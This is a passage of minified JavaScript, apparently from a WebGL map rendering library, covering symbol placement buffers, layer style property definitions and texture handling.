0&&R.addToSortKeyRanges(R.symbolInstances.length,yn.sortKey),R.symbolInstances.emplaceBack(D.x,D.y,Va.right>=0?Va.right:-1,Va.center>=0?Va.center:-1,Va.left>=0?Va.left:-1,Va.vertical||-1,Za,Xa,hi,Ku,Ju,$f,Xs,Xc,Mh,jc,Sh,dt,Ya,oi,_a,Ea,Kc,0,qt,pi,Ci,Ls)}function o0(R,D,U,ee){var ce=R.compareText;if(!(D in ce))ce[D]=[];else for(var me=ce[D],Se=me.length-1;Se>=0;Se--)if(ee.dist(me[Se])<U)return!0;return ce[D].push(ee),!1}var s0=Nf.VectorTileFeature.types,l0=[{name:"a_fade_opacity",components:1,type:"Uint8",offset:0}];function Gc(R,D,U,ee,ce,me,Se,We,at,dt,xt,Bt,qt){var Zt=We?Math.min(Zu,Math.round(We[0])):0,vr=We?Math.min(Zu,Math.round(We[1])):0;R.emplaceBack(D,U,Math.round(ee*32),Math.round(ce*32),me,Se,(Zt<<1)+(at?1:0),vr,dt*16,xt*16,Bt*256,qt*256)}function xh(R,D,U){R.emplaceBack(D.x,D.y,U),R.emplaceBack(D.x,D.y,U),R.emplaceBack(D.x,D.y,U),R.emplaceBack(D.x,D.y,U)}function u0(R){for(var D=0,U=R.sections;D<U.length;D+=1){var ee=U[D];if(Kr(ee.text))return!0}return!1}var jf=function(D){this.layoutVertexArray=new zl,this.indexArray=new hl,this.programConfigurations=D,this.segments=new H,this.dynamicLayoutVertexArray=new ec,this.opacityVertexArray=new tc,this.placedSymbolArray=new Vu};jf.prototype.isEmpty=function(){return this.layoutVertexArray.length===0&&this.indexArray.length===0&&this.dynamicLayoutVertexArray.length===0&&this.opacityVertexArray.length===0},jf.prototype.upload=function(D,U,ee,ce){this.isEmpty()||(ee&&(this.layoutVertexBuffer=D.createVertexBuffer(this.layoutVertexArray,ch.members),this.indexBuffer=D.createIndexBuffer(this.indexArray,U),this.dynamicLayoutVertexBuffer=D.createVertexBuffer(this.dynamicLayoutVertexArray,fp.members,!0),this.opacityVertexBuffer=D.createVertexBuffer(this.opacityVertexArray,l0,!0),this.opacityVertexBuffer.itemSize=1),(ee||ce)&&this.programConfigurations.upload(D))},jf.prototype.destroy=function(){this.layoutVertexBuffer&&(this.layoutVertexBuffer.destroy(),this.indexBuffer.destroy(),this.programConfigurations.destroy(),this.segments.destroy(),this.dynamicLayoutVertexBuffer.destroy(),this.opacityVertexBuffer.destroy())},se("SymbolBuffers",jf);var xc=function(D,U,ee){this.layoutVertexArray=new D,this.layoutAttributes=U,this.indexArray=new ee,this.segments=new H,this.collisionVertexArray=new Bo};xc.prototype.upload=function(D){this.layoutVertexBuffer=D.createVertexBuffer(this.layoutVertexArray,this.layoutAttributes),this.indexBuffer=D.createIndexBuffer(this.indexArray),this.collisionVertexBuffer=D.createVertexBuffer(this.collisionVertexArray,cp.members,!0)},xc.prototype.destroy=function(){this.layoutVertexBuffer&&(this.layoutVertexBuffer.destroy(),this.indexBuffer.destroy(),this.segments.destroy(),this.collisionVertexBuffer.destroy())},se("CollisionBuffers",xc);var ii=function(D){this.collisionBoxArray=D.collisionBoxArray,this.zoom=D.zoom,this.overscaling=D.overscaling,this.layers=D.layers,this.layerIds=this.layers.map(function(at){return at.id}),this.index=D.index,this.pixelRatio=D.pixelRatio,this.sourceLayerIndex=D.sourceLayerIndex,this.hasPattern=!1,this.hasRTLText=!1,this.sortKeyRanges=[],this.collisionCircleArray=[],this.placementInvProjMatrix=_f([]),this.placementViewportMatrix=_f([]);var U=this.layers[0],ee=U._unevaluatedLayout._values;this.textSizeData=gh(this.zoom,ee["text-size"]),this.iconSizeData=gh(this.zoom,ee["icon-size"]);var ce=this.layers[0].layout,me=ce.get("symbol-sort-key"),Se=ce.get("symbol-z-order");this.sortFeaturesByKey=Se!=="viewport-y"&&me.constantOr(1)!==void 0;var We=Se==="viewport-y"||Se==="auto"&&!this.sortFeaturesByKey;this.sortFeaturesByY=We&&(ce.get("text-allow-overlap")||ce.get("icon-allow-overlap")||ce.get("text-ignore-placement")||ce.get("icon-ignore-placement")),ce.get("symbol-placement")==="point"&&(this.writingModes=ce.get("text-writing-mode").map(function(at){return vs[at]})),this.stateDependentLayerIds=this.layers.filter(function(at){return at.isStateDependent()}).map(function(at){return at.id}),this.sourceID=D.sourceID};ii.prototype.createArrays=function(){this.text=new jf(new Da(ch.members,this.layers,this.zoom,function(D){return/^text/.test(D)})),this.icon=new jf(new Da(ch.members,this.layers,this.zoom,function(D){return/^icon/.test(D)})),this.glyphOffsetArray=new Es,this.lineVertexArray=new Sc,this.symbolInstances=new Mc},ii.prototype.calculateGlyphDependencies=function(D,U,ee,ce,me){for(var Se=0;Se<D.length;Se++)if(U[D.charCodeAt(Se)]=!0,(ee||ce)&&me){var We=dc[D.charAt(Se)];We&&(U[We.charCodeAt(0)]=!0)}},ii.prototype.populate=function(D,U,ee){var ce=this.layers[0],me=ce.layout,Se=me.get("text-font"),We=me.get("text-field"),at=me.get("icon-image"),dt=(We.value.kind!=="constant"||We.value.value instanceof Ii&&!We.value.value.isEmpty()||We.value.value.toString().length>0)&&(Se.value.kind!=="constant"||Se.value.value.length>0),xt=at.value.kind!=="constant"||!!at.value.value||Object.keys(at.parameters).length>0,Bt=me.get("symbol-sort-key");if(this.features=[],!(!dt&&!xt)){for(var qt=U.iconDependencies,Zt=U.glyphDependencies,vr=U.availableImages,kr=new In(this.zoom),Jr=0,Zr=D;Jr<Zr.length;Jr+=1){var mn=Zr[Jr],hn=mn.feature,yn=mn.id,Cn=mn.index,_n=mn.sourceLayerIndex,Yn=ce._featureFilter.needGeometry,Gn={type:hn.type,id:yn,properties:hn.properties,geometry:Yn?ti(hn):[]};if(ce._featureFilter.filter(kr,Gn,ee)){Yn||(Gn.geometry=ti(hn));var ga=void 0;if(dt){var aa=ce.getValueAndResolveTokens("text-field",Gn,ee,vr),ua=Ii.factory(aa);u0(ua)&&(this.hasRTLText=!0),(!this.hasRTLText||Ra()==="unavailable"||this.hasRTLText&&Wa.isParsed())&&(ga=dp(ua,ce,Gn))}var Pa=void 0;if(xt){var va=ce.getValueAndResolveTokens("icon-image",Gn,ee,vr);va instanceof eo?Pa=va:Pa=eo.fromString(va)}if(!(!ga&&!Pa)){var da=this.sortFeaturesByKey?Bt.evaluate(Gn,{},ee):void 0,_a={id:yn,text:ga,icon:Pa,index:Cn,sourceLayerIndex:_n,geometry:ti(hn),properties:hn.properties,type:s0[hn.type],sortKey:da};if(this.features.push(_a),Pa&&(qt[Pa.name]=!0),ga){var Ea=Se.evaluate(Gn,{},ee).join(","),Ya=me.get("text-rotation-alignment")==="map"&&me.get("symbol-placement")!=="point";this.allowVerticalPlacement=this.writingModes&&this.writingModes.indexOf(vs.vertical)>=0;for(var oi=0,Za=ga.sections;oi<Za.length;oi+=1){var Xa=Za[oi];if(Xa.image)qt[Xa.image.name]=!0;else{var Va=kt(ga.toString()),hi=Xa.fontStack||Ea,pi=Zt[hi]=Zt[hi]||{};this.calculateGlyphDependencies(Xa.text,pi,Ya,this.allowVerticalPlacement,Va)}}}}}}me.get("symbol-placement")==="line"&&(this.features=pp(this.features)),this.sortFeaturesByKey&&this.features.sort(function(Ci,Ri){return Ci.sortKey-Ri.sortKey})}},ii.prototype.update=function(D,U,ee){this.stateDependentLayers.length&&(this.text.programConfigurations.updatePaintArrays(D,U,this.layers,ee),this.icon.programConfigurations.updatePaintArrays(D,U,this.layers,ee))},ii.prototype.isEmpty=function(){return this.symbolInstances.length===0&&!this.hasRTLText},ii.prototype.uploadPending=function(){return!this.uploaded||this.text.programConfigurations.needsUpload||this.icon.programConfigurations.needsUpload},ii.prototype.upload=function(D){!this.uploaded&&this.hasDebugData()&&(this.textCollisionBox.upload(D),this.iconCollisionBox.upload(D)),this.text.upload(D,this.sortFeaturesByY,!this.uploaded,this.text.programConfigurations.needsUpload),this.icon.upload(D,this.sortFeaturesByY,!this.uploaded,this.icon.programConfigurations.needsUpload),this.uploaded=!0},ii.prototype.destroyDebugData=function(){this.textCollisionBox.destroy(),this.iconCollisionBox.destroy()},ii.prototype.destroy=function(){this.text.destroy(),this.icon.destroy(),this.hasDebugData()&&this.destroyDebugData()},ii.prototype.addToLineVertexArray=function(D,U){var ee=this.lineVertexArray.length;if(D.segment!==void 0){for(var ce=D.dist(U[D.segment+1]),me=D.dist(U[D.segment]),Se={},We=D.segment+1;We<U.length;We++)Se[We]={x:U[We].x,y:U[We].y,tileUnitDistanceFromAnchor:ce},We<U.length-1&&(ce+=U[We+1].dist(U[We]));for(var at=D.segment||0;at>=0;at--)Se[at]={x:U[at].x,y:U[at].y,tileUnitDistanceFromAnchor:me},at>0&&(me+=U[at-1].dist(U[at]));for(var dt=0;dt<U.length;dt++){var xt=Se[dt];this.lineVertexArray.emplaceBack(xt.x,xt.y,xt.tileUnitDistanceFromAnchor)}}return{lineStartIndex:ee,lineLength:this.lineVertexArray.length-ee}},ii.prototype.addSymbols=function(D,U,ee,ce,me,Se,We,at,dt,xt,Bt,qt){for(var Zt=D.indexArray,vr=D.layoutVertexArray,kr=D.segments.prepareSegment(4*U.length,vr,Zt,Se.sortKey),Jr=this.glyphOffsetArray.length,Zr=kr.vertexLength,mn=this.allowVerticalPlacement&&We===vs.vertical?Math.PI/2:0,hn=Se.text&&Se.text.sections,yn=0;yn<U.length;yn++){var Cn=U[yn],_n=Cn.tl,Yn=Cn.tr,Gn=Cn.bl,ga=Cn.br,aa=Cn.tex,ua=Cn.pixelOffsetTL,Pa=Cn.pixelOffsetBR,va=Cn.minFontScaleX,da=Cn.minFontScaleY,_a=Cn.glyphOffset,Ea=Cn.isSDF,Ya=Cn.sectionIndex,oi=kr.vertexLength,Za=_a[1];Gc(vr,at.x,at.y,_n.x,Za+_n.y,aa.x,aa.y,ee,Ea,ua.x,ua.y,va,da),Gc(vr,at.x,at.y,Yn.x,Za+Yn.y,aa.x+aa.w,aa.y,ee,Ea,Pa.x,ua.y,va,da),Gc(vr,at.x,at.y,Gn.x,Za+Gn.y,aa.x,aa.y+aa.h,ee,Ea,ua.x,Pa.y,va,da),Gc(vr,at.x,at.y,ga.x,Za+ga.y,aa.x+aa.w,aa.y+aa.h,ee,Ea,Pa.x,Pa.y,va,da),xh(D.dynamicLayoutVertexArray,at,mn),Zt.emplaceBack(oi,oi+1,oi+2),Zt.emplaceBack(oi+1,oi+2,oi+3),kr.vertexLength+=4,kr.primitiveLength+=2,this.glyphOffsetArray.emplaceBack(_a[0]),(yn===U.length-1||Ya!==U[yn+1].sectionIndex)&&D.programConfigurations.populatePaintArrays(vr.length,Se,Se.index,{},qt,hn&&hn[Ya])}D.placedSymbolArray.emplaceBack(at.x,at.y,Jr,this.glyphOffsetArray.length-Jr,Zr,dt,xt,at.segment,ee?ee[0]:0,ee?ee[1]:0,ce[0],ce[1],We,0,!1,0,Bt)},ii.prototype._addCollisionDebugVertex=function(D,U,ee,ce,me,Se){return U.emplaceBack(0,0),D.emplaceBack(ee.x,ee.y,ce,me,Math.round(Se.x),Math.round(Se.y))},ii.prototype.addCollisionDebugVertices=function(D,U,ee,ce,me,Se,We){var at=me.segments.prepareSegment(4,me.layoutVertexArray,me.indexArray),dt=at.vertexLength,xt=me.layoutVertexArray,Bt=me.collisionVertexArray,qt=We.anchorX,Zt=We.anchorY;this._addCollisionDebugVertex(xt,Bt,Se,qt,Zt,new t(D,U)),this._addCollisionDebugVertex(xt,Bt,Se,qt,Zt,new t(ee,U)),this._addCollisionDebugVertex(xt,Bt,Se,qt,Zt,new t(ee,ce)),this._addCollisionDebugVertex(xt,Bt,Se,qt,Zt,new t(D,ce)),at.vertexLength+=4;var vr=me.indexArray;vr.emplaceBack(dt,dt+1),vr.emplaceBack(dt+1,dt+2),vr.emplaceBack(dt+2,dt+3),vr.emplaceBack(dt+3,dt),at.primitiveLength+=4},ii.prototype.addDebugCollisionBoxes=function(D,U,ee,ce){for(var me=D;me<U;me++){var Se=this.collisionBoxArray.get(me),We=Se.x1,at=Se.y1,dt=Se.x2,xt=Se.y2;this.addCollisionDebugVertices(We,at,dt,xt,ce?this.textCollisionBox:this.iconCollisionBox,Se.anchorPoint,ee)}},ii.prototype.generateCollisionDebugBuffers=function(){this.hasDebugData()&&this.destroyDebugData(),this.textCollisionBox=new xc(Pf,jh.members,bf),this.iconCollisionBox=new xc(Pf,jh.members,bf);for(var D=0;D<this.symbolInstances.length;D++){var U=this.symbolInstances.get(D);this.addDebugCollisionBoxes(U.textBoxStartIndex,U.textBoxEndIndex,U,!0),this.addDebugCollisionBoxes(U.verticalTextBoxStartIndex,U.verticalTextBoxEndIndex,U,!0),this.addDebugCollisionBoxes(U.iconBoxStartIndex,U.iconBoxEndIndex,U,!1),this.addDebugCollisionBoxes(U.verticalIconBoxStartIndex,U.verticalIconBoxEndIndex,U,!1)}},ii.prototype._deserializeCollisionBoxesForSymbol=function(D,U,ee,ce,me,Se,We,at,dt){for(var xt={},Bt=U;Bt<ee;Bt++){var qt=D.get(Bt);xt.textBox={x1:qt.x1,y1:qt.y1,x2:qt.x2,y2:qt.y2,anchorPointX:qt.anchorPointX,anchorPointY:qt.anchorPointY},xt.textFeatureIndex=qt.featureIndex;break}for(var Zt=ce;Zt<me;Zt++){var vr=D.get(Zt);xt.verticalTextBox={x1:vr.x1,y1:vr.y1,x2:vr.x2,y2:vr.y2,anchorPointX:vr.anchorPointX,anchorPointY:vr.anchorPointY},xt.verticalTextFeatureIndex=vr.featureIndex;break}for(var kr=Se;kr<We;kr++){var Jr=D.get(kr);xt.iconBox={x1:Jr.x1,y1:Jr.y1,x2:Jr.x2,y2:Jr.y2,anchorPointX:Jr.anchorPointX,anchorPointY:Jr.anchorPointY},xt.iconFeatureIndex=Jr.featureIndex;break}for(var Zr=at;Zr<dt;Zr++){var mn=D.get(Zr);xt.verticalIconBox={x1:mn.x1,y1:mn.y1,x2:mn.x2,y2:mn.y2,anchorPointX:mn.anchorPointX,anchorPointY:mn.anchorPointY},xt.verticalIconFeatureIndex=mn.featureIndex;break}return xt},ii.prototype.deserializeCollisionBoxes=function(D){this.collisionArrays=[];for(var U=0;U<this.symbolInstances.length;U++){var ee=this.symbolInstances.get(U);this.collisionArrays.push(this._deserializeCollisionBoxesForSymbol(D,ee.textBoxStartIndex,ee.textBoxEndIndex,ee.verticalTextBoxStartIndex,ee.verticalTextBoxEndIndex,ee.iconBoxStartIndex,ee.iconBoxEndIndex,ee.verticalIconBoxStartIndex,ee.verticalIconBoxEndIndex))}},ii.prototype.hasTextData=function(){return this.text.segments.get().length>0},ii.prototype.hasIconData=function(){return this.icon.segments.get().length>0},ii.prototype.hasDebugData=function(){return this.textCollisionBox&&this.iconCollisionBox},ii.prototype.hasTextCollisionBoxData=function(){return this.hasDebugData()&&this.textCollisionBox.segments.get().length>0},ii.prototype.hasIconCollisionBoxData=function(){return this.hasDebugData()&&this.iconCollisionBox.segments.get().length>0},ii.prototype.addIndicesForPlacedSymbol=function(D,U){for(var ee=D.placedSymbolArray.get(U),ce=ee.vertexStartIndex+ee.numGlyphs*4,me=ee.vertexStartIndex;me<ce;me+=4)D.indexArray.emplaceBack(me,me+1,me+2),D.indexArray.emplaceBack(me+1,me+2,me+3)},ii.prototype.getSortedSymbolIndexes=function(D){if(this.sortedAngle===D&&this.symbolInstanceIndexes!==void 0)return this.symbolInstanceIndexes;for(var U=Math.sin(D),ee=Math.cos(D),ce=[],me=[],Se=[],We=0;We<this.symbolInstances.length;++We){Se.push(We);var at=this.symbolInstances.get(We);ce.push(Math.round(U*at.anchorX+ee*at.anchorY)|0),me.push(at.featureIndex)}return Se.sort(function(dt,xt){return ce[dt]-ce[xt]||me[xt]-me[dt]}),Se},ii.prototype.addToSortKeyRanges=function(D,U){var ee=this.sortKeyRanges[this.sortKeyRanges.length-1];ee&&ee.sortKey===U?ee.symbolInstanceEnd=D+1:this.sortKeyRanges.push({sortKey:U,symbolInstanceStart:D,symbolInstanceEnd:D+1})},ii.prototype.sortFeatures=function(D){var U=this;if(this.sortFeaturesByY&&this.sortedAngle!==D&&!(this.text.segments.get().length>1||this.icon.segments.get().length>1)){this.symbolInstanceIndexes=this.getSortedSymbolIndexes(D),this.sortedAngle=D,this.text.indexArray.clear(),this.icon.indexArray.clear(),this.featureSortOrder=[];for(var ee=0,ce=this.symbolInstanceIndexes;ee<ce.length;ee+=1){var me=ce[ee],Se=this.symbolInstances.get(me);this.featureSortOrder.push(Se.featureIndex),[Se.rightJustifiedTextSymbolIndex,Se.centerJustifiedTextSymbolIndex,Se.leftJustifiedTextSymbolIndex].forEach(function(We,at,dt){We>=0&&dt.indexOf(We)===at&&U.addIndicesForPlacedSymbol(U.text,We)}),Se.verticalPlacedTextSymbolIndex>=0&&this.addIndicesForPlacedSymbol(this.text,Se.verticalPlacedTextSymbolIndex),Se.placedIconSymbolIndex>=0&&this.addIndicesForPlacedSymbol(this.icon,Se.placedIconSymbolIndex),Se.verticalPlacedIconSymbolIndex>=0&&this.addIndicesForPlacedSymbol(this.icon,Se.verticalPlacedIconSymbolIndex)}this.text.indexBuffer&&this.text.indexBuffer.updateData(this.text.indexArray),this.icon.indexBuffer&&this.icon.indexBuffer.updateData(this.icon.indexArray)}},se("SymbolBucket",ii,{omit:["layers","collisionBoxArray","features","compareText"]}),ii.MAX_GLYPHS=65535,ii.addDynamicAttributes=xh;function f0(R,D){return D.replace(/{([^{}]+)}/g,function(U,ee){return ee in R?String(R[ee]):""})}var c0=new _i({"symbol-placement":new la(Ht.layout_symbol["symbol-placement"]),"symbol-spacing":new la(Ht.layout_symbol["symbol-spacing"]),"symbol-avoid-edges":new la(Ht.layout_symbol["symbol-avoid-edges"]),"symbol-sort-key":new pa(Ht.layout_symbol["symbol-sort-key"]),"symbol-z-order":new la(Ht.layout_symbol["symbol-z-order"]),"icon-allow-overlap":new la(Ht.layout_symbol["icon-allow-overlap"]),"icon-ignore-placement":new la(Ht.layout_symbol["icon-ignore-placement"]),"icon-optional":new la(Ht.layout_symbol["icon-optional"]),"icon-rotation-alignment":new la(Ht.layout_symbol["icon-rotation-alignment"]),"icon-size":new pa(Ht.layout_symbol["icon-size"]),"icon-text-fit":new la(Ht.layout_symbol["icon-text-fit"]),"icon-text-fit-padding":new la(Ht.layout_symbol["icon-text-fit-padding"]),"icon-image":new pa(Ht.layout_symbol["icon-image"]),"icon-rotate":new pa(Ht.layout_symbol["icon-rotate"]),"icon-padding":new la(Ht.layout_symbol["icon-padding"]),"icon-keep-upright":new la(Ht.layout_symbol["icon-keep-upright"]),"icon-offset":new pa(Ht.layout_symbol["icon-offset"]),"icon-anchor":new pa(Ht.layout_symbol["icon-anchor"]),"icon-pitch-alignment":new la(Ht.layout_symbol["icon-pitch-alignment"]),"text-pitch-alignment":new la(Ht.layout_symbol["text-pitch-alignment"]),"text-rotation-alignment":new la(Ht.layout_symbol["text-rotation-alignment"]),"text-field":new pa(Ht.layout_symbol["text-field"]),"text-font":new pa(Ht.layout_symbol["text-font"]),"text-size":new pa(Ht.layout_symbol["text-size"]),"text-max-width":new pa(Ht.layout_symbol["text-max-width"]),"text-line-height":new la(Ht.layout_symbol["text-line-height"]),"text-letter-spacing":new pa(Ht.layout_symbol["text-letter-spacing"]),"text-justify":new pa(Ht.layout_symbol["text-justify"]),"text-radial-offset":new pa(Ht.layout_symbol["text-radial-offset"]),"text-variable-anchor":new la(Ht.layout_symbol["text-variable-anchor"]),"text-anchor":new pa(Ht.layout_symbol["text-anchor"]),"text-max-angle":new la(Ht.layout_symbol["text-max-angle"]),"text-writing-mode":new la(Ht.layout_symbol["text-writing-mode"]),"text-rotate":new pa(Ht.layout_symbol["text-rotate"]),"text-padding":new la(Ht.layout_symbol["text-padding"]),"text-keep-upright":new la(Ht.layout_symbol["text-keep-upright"]),"text-transform":new pa(Ht.layout_symbol["text-transform"]),"text-offset":new pa(Ht.layout_symbol["text-offset"]),"text-allow-overlap":new la(Ht.layout_symbol["text-allow-overlap"]),"text-ignore-placement":new la(Ht.layout_symbol["text-ignore-placement"]),"text-optional":new la(Ht.layout_symbol["text-optional"])}),h0=new _i({"icon-opacity":new pa(Ht.paint_symbol["icon-opacity"]),"icon-color":new pa(Ht.paint_symbol["icon-color"]),"icon-halo-color":new pa(Ht.paint_symbol["icon-halo-color"]),"icon-halo-width":new pa(Ht.paint_symbol["icon-halo-width"]),"icon-halo-blur":new pa(Ht.paint_symbol["icon-halo-blur"]),"icon-translate":new la(Ht.paint_symbol["icon-translate"]),"icon-translate-anchor":new la(Ht.paint_symbol["icon-translate-anchor"]),"text-opacity":new pa(Ht.paint_symbol["text-opacity"]),"text-color":new pa(Ht.paint_symbol["text-color"],{runtimeType:Ln,getOverride:function(R){return R.textColor},hasOverride:function(R){return!!R.textColor}}),"text-halo-color":new pa(Ht.paint_symbol["text-halo-color"]),"text-halo-width":new pa(Ht.paint_symbol["text-halo-width"]),"text-halo-blur":new pa(Ht.paint_symbol["text-halo-blur"]),"text-translate":new la(Ht.paint_symbol["text-translate"]),"text-translate-anchor":new la(Ht.paint_symbol["text-translate-anchor"])}),bh={paint:h0,layout:c0},Kf=function(D){this.type=D.property.overrides?D.property.overrides.runtimeType:Ar,this.defaultValue=D};Kf.prototype.evaluate=function(D){if(D.formattedSection){var U=this.defaultValue.property.overrides;if(U&&U.hasOverride(D.formattedSection))return U.getOverride(D.formattedSection)}return D.feature&&D.featureState?this.defaultValue.evaluate(D.feature,D.featureState):this.defaultValue.property.specification.default},Kf.prototype.eachChild=function(D){if(!this.defaultValue.isConstant()){var U=this.defaultValue.value;D(U._styleExpression.expression)}},Kf.prototype.outputDefined=function(){return!1},Kf.prototype.serialize=function(){return null},se("FormatSectionOverride",Kf,{omit:["defaultValue"]});var v0=function(R){function D(U){R.call(this,U,bh)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.recalculate=function(ee,ce){if(R.prototype.recalculate.call(this,ee,ce),this.layout.get("icon-rotation-alignment")==="auto"&&(this.layout.get("symbol-placement")!=="point"?this.layout._values["icon-rotation-alignment"]="map":this.layout._values["icon-rotation-alignment"]="viewport"),this.layout.get("text-rotation-alignment")==="auto"&&(this.layout.get("symbol-placement")!=="point"?this.layout._values["text-rotation-alignment"]="map":this.layout._values["text-rotation-alignment"]="viewport"),this.layout.get("text-pitch-alignment")==="auto"&&(this.layout._values["text-pitch-alignment"]=this.layout.get("text-rotation-alignment")),this.layout.get("icon-pitch-alignment")==="auto"&&(this.layout._values["icon-pitch-alignment"]=this.layout.get("icon-rotation-alignment")),this.layout.get("symbol-placement")==="point"){var me=this.layout.get("text-writing-mode");if(me){for(var Se=[],We=0,at=me;We<at.length;We+=1){var dt=at[We];Se.indexOf(dt)<0&&Se.push(dt)}this.layout._values["text-writing-mode"]=Se}else this.layout._values["text-writing-mode"]=["horizontal"]}this._setPaintOverrides()},D.prototype.getValueAndResolveTokens=function(ee,ce,me,Se){var We=this.layout.get(ee).evaluate(ce,{},me,Se),at=this._unevaluatedLayout._values[ee];return!at.isDataDriven()&&!ls(at.value)&&We?f0(ce.properties,We):We},D.prototype.createBucket=function(ee){return new ii(ee)},D.prototype.queryRadius=function(){return 0},D.prototype.queryIntersectsFeature=function(){return!1},D.prototype._setPaintOverrides=function(){for(var ee=0,ce=bh.paint.overridableProperties;ee<ce.length;ee+=1){var me=ce[ee];if(D.hasPaintOverride(this.layout,me)){var Se=this.paint.get(me),We=new Kf(Se),at=new Qo(We,Se.property.specification),dt=null;Se.value.kind==="constant"||Se.value.kind==="source"?dt=new As("source",at):dt=new no("composite",at,Se.value.zoomStops,Se.value._interpolationType),this.paint._values[me]=new si(Se.property,dt,Se.parameters)}}},D.prototype._handleOverridablePaintPropertyUpdate=function(ee,ce,me){return!this.layout||ce.isDataDriven()||me.isDataDriven()?!1:D.hasPaintOverride(this.layout,ee)},D.hasPaintOverride=function(ee,ce){var me=ee.get("text-field"),Se=bh.paint.properties[ce],We=!1,at=function(Bt){for(var qt=0,Zt=Bt;qt<Zt.length;qt+=1){var vr=Zt[qt];if(Se.overrides&&Se.overrides.hasOverride(vr)){We=!0;return}}};if(me.value.kind==="constant"&&me.value.value instanceof Ii)at(me.value.value.sections);else if(me.value.kind==="source"){var dt=function(Bt){if(!We)if(Bt instanceof oo&&gi(Bt.value)===ta){var qt=Bt.value;at(qt.sections)}else Bt instanceof ho?at(Bt.sections):Bt.eachChild(dt)},xt=me.value;xt._styleExpression&&dt(xt._styleExpression.expression)}return We},D}(vi),d0=new _i({"background-color":new la(Ht.paint_background["background-color"]),"background-pattern":new Ai(Ht.paint_background["background-pattern"]),"background-opacity":new la(Ht.paint_background["background-opacity"])}),p0={paint:d0},g0=function(R){function D(U){R.call(this,U,p0)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D}(vi),y0=new _i({"raster-opacity":new la(Ht.paint_raster["raster-opacity"]),"raster-hue-rotate":new la(Ht.paint_raster["raster-hue-rotate"]),"raster-brightness-min":new la(Ht.paint_raster["raster-brightness-min"]),"raster-brightness-max":new la(Ht.paint_raster["raster-brightness-max"]),"raster-saturation":new la(Ht.paint_raster["raster-saturation"]),"raster-contrast":new la(Ht.paint_raster["raster-contrast"]),"raster-resampling":new la(Ht.paint_raster["raster-resampling"]),"raster-fade-duration":new la(Ht.paint_raster["raster-fade-duration"])}),m0={paint:y0},x0=function(R){function D(U){R.call(this,U,m0)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D}(vi);function b0(R){var D=[],U=R.id;return U===void 0&&D.push({message:"layers."+U+': missing required property "id"'}),R.render===void 0&&D.push({message:"layers."+U+': missing required method "render"'}),R.renderingMode&&R.renderingMode!=="2d"&&R.renderingMode!=="3d"&&D.push({message:"layers."+U+': property "renderingMode" must be either "2d" or "3d"'}),D}var w0=function(R){function D(U){R.call(this,U,{}),this.implementation=U}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.is3D=function(){return this.implementation.renderingMode==="3d"},D.prototype.hasOffscreenPass=function(){return this.implementation.prerender!==void 0},D.prototype.recalculate=function(){},D.prototype.updateTransitions=function(){},D.prototype.hasTransition=function(){},D.prototype.serialize=function(){},D.prototype.onAdd=function(ee){this.implementation.onAdd&&this.implementation.onAdd(ee,ee.painter.context.gl)},D.prototype.onRemove=function(ee){this.implementation.onRemove&&this.implementation.onRemove(ee,ee.painter.context.gl)},D}(vi),T0={circle:Qv,heatmap:td,hillshade:ad,fill:Pd,"fill-extrusion":Kd,line:lp,symbol:v0,background:g0,raster:x0};function A0(R){return R.type==="custom"?new w0(R):new T0[R.type](R)}var wv=self.HTMLImageElement,Tv=self.HTMLCanvasElement,Av=self.HTMLVideoElement,Mv=self.ImageData,Wc=self.ImageBitmap,Sf=function(D,U,ee,ce){this.context=D,this.format=ee,this.texture=D.gl.createTexture(),this.update(U,ce)};Sf.prototype.update=function(D,U,ee){var ce=D.width,me=D.height,Se=(!this.size||this.size[0]!==ce||this.size[1]!==me)&&!ee,We=this,at=We.context,dt=at.gl;if(this.useMipmap=!!(U&&U.useMipmap),dt.bindTexture(dt.TEXTURE_2D,this.texture),at.pixelStoreUnpackFlipY.set(!1),at.pixelStoreUnpack.set(1),at.pixelStoreUnpackPremultiplyAlpha.set(this.format===dt.RGBA&&(!U||U.premultiply!==!1)),Se)this.size=[ce,me],D instanceof wv||D instanceof Tv||D instanceof Av||D instanceof Mv||Wc&&D instanceof Wc?dt.texImage2D(dt.TEXTURE_2D,0,this.format,this.format,dt.UNSIGNED_BYTE,D):dt.texImage2D(dt.TEXTURE_2D,0,this.format,ce,me,0,this.format,dt.UNSIGNED_BYTE,D.data);else{var xt=ee||{x:0,y:0},Bt=xt.x,qt=xt.y;D instanceof wv||D instanceof Tv||D instanceof Av||D instanceof Mv||Wc&&D instanceof Wc?dt.texSubImage2D(dt.TEXTURE_2D,0,Bt,qt,dt.RGBA,dt.UNSIGNED_BYTE,D):dt.texSubImage2D(dt.TEXTURE_2D,0,Bt,qt,ce,me,dt.RGBA,dt.UNSIGNED_BYTE,D.data)}this.useMipmap&&this.isSizePowerOfTwo()&&dt.generateMipmap(dt.TEXTURE_2D)},Sf.prototype.bind=function(D,U,ee){var ce=this,me=ce.context,Se=me.gl;Se.bindTexture(Se.TEXTURE_2D,this.texture),ee===Se.LINEAR_MIPMAP_NEAREST&&!this.isSizePowerOfTwo()&&(ee=Se.LINEAR),D!==this.filter&&(Se.texParameteri(Se.TEXTURE_2D,Se.TEXTURE_MAG_FILTER,D),Se.texParameteri(Se.TEXTURE_2D,Se.TEXTURE_MIN_FILTER,ee||D),this.filter=D),U!==this.wrap&&(Se.texParameteri(Se.TEXTURE_2D,Se.TEXTURE_WRAP_S,U),Se.texParameteri(Se.TEXTURE_2D,Se.TEXTURE_WRAP_T,U),this.wrap=U)},Sf.prototype.isSizePowerOfTwo=function(){return this.size[0]===this.size[1]&&Math.log(this.size[0])/Math.LN2%1===0},Sf.prototype.destroy=function(){var D=this.context,U=D.gl;U.deleteTexture(this.texture),this.texture=null};var wh=function(D){var U=this;this._callback=D,this._triggered=!1,typeof MessageChannel<"u"&&(this._channel=new MessageChannel,this._channel.port2.onmessage=function(){U._triggered=!1,U._callback()})};wh.prototype.trigger=function(){var D=this;this._triggered||(this._triggered=!0,this._channel?this._channel.port1.postMessage(!0):setTimeout(function(){D._triggered=!1,D._callback()},0))},wh.prototype.remove=function(){delete this._channel,this._callback=function(){}};var Jf=function(D,U,ee){this.target=D,this.parent=U,this.mapId=ee,this.callbacks={},this.tasks={},this.taskQueue=[],this.cancelCallbacks={},A(["receive","process"],this),this.invoker=new 